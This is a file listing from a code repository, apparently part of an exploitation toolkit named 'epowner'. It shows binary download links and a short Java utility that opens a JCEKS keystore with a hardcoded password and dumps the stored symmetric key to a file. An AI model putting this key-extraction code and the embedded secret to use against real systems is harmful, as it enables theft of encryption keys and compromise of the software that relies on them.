https://raw.githubusercontent.com/funoverip/epowner/bb8ff5ac478ef8a8265b28eb102a5cecd1029a4b/lib/LWP-Protocol-socks-1.6.tar.gz
--------------------------------------------------------------------------------
/tools/DumpKey0000000000000.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/funoverip/epowner/bb8ff5ac478ef8a8265b28eb102a5cecd1029a4b/tools/DumpKey0000000000000.class
--------------------------------------------------------------------------------
/tools/DumpKey0000000000000.java:
--------------------------------------------------------------------------------
1 | import java.io.*;
2 | import java.security.*;
3 |
4 | public class DumpKey0000000000000 { // Final Class file must be 26 chars length ..
5 | static public void main(String[] a) {
6 | if (a.length<1) {
7 | System.out.println("Usage: java DumpKey keystore.jks outfile");
8 | return;
9 | }
10 | String jksFile = a[0];
11 | String outFile = a[1];
12 | try {
13 | char[] arrayOfChar = "OEr(&^n:1".toCharArray();
14 | KeyStore localKeyStore = KeyStore.getInstance("JCEKS");
15 | localKeyStore.load(new FileInputStream(jksFile), arrayOfChar);
16 | Key key = localKeyStore.getKey("symKey", arrayOfChar);
17 |
18 | FileOutputStream out = new FileOutputStream(outFile);
19 | out.write(key.getEncoded());
20 | out.close();
21 | } catch (Exception e) {
22 | e.printStackTrace();
23 | return;
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/tools/README.txt:
--------------------------------------------------------------------------------
1 | Unzip:
2 | http://stahlforce.com/dev/index.php?tool=zipunzip
3 |
--------------------------------------------------------------------------------
/tools/unzip.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/funoverip/epowner/bb8ff5ac478ef8a8265b28eb102a5cecd1029a4b/tools/unzip.exe
--------------------------------------------------------------------------------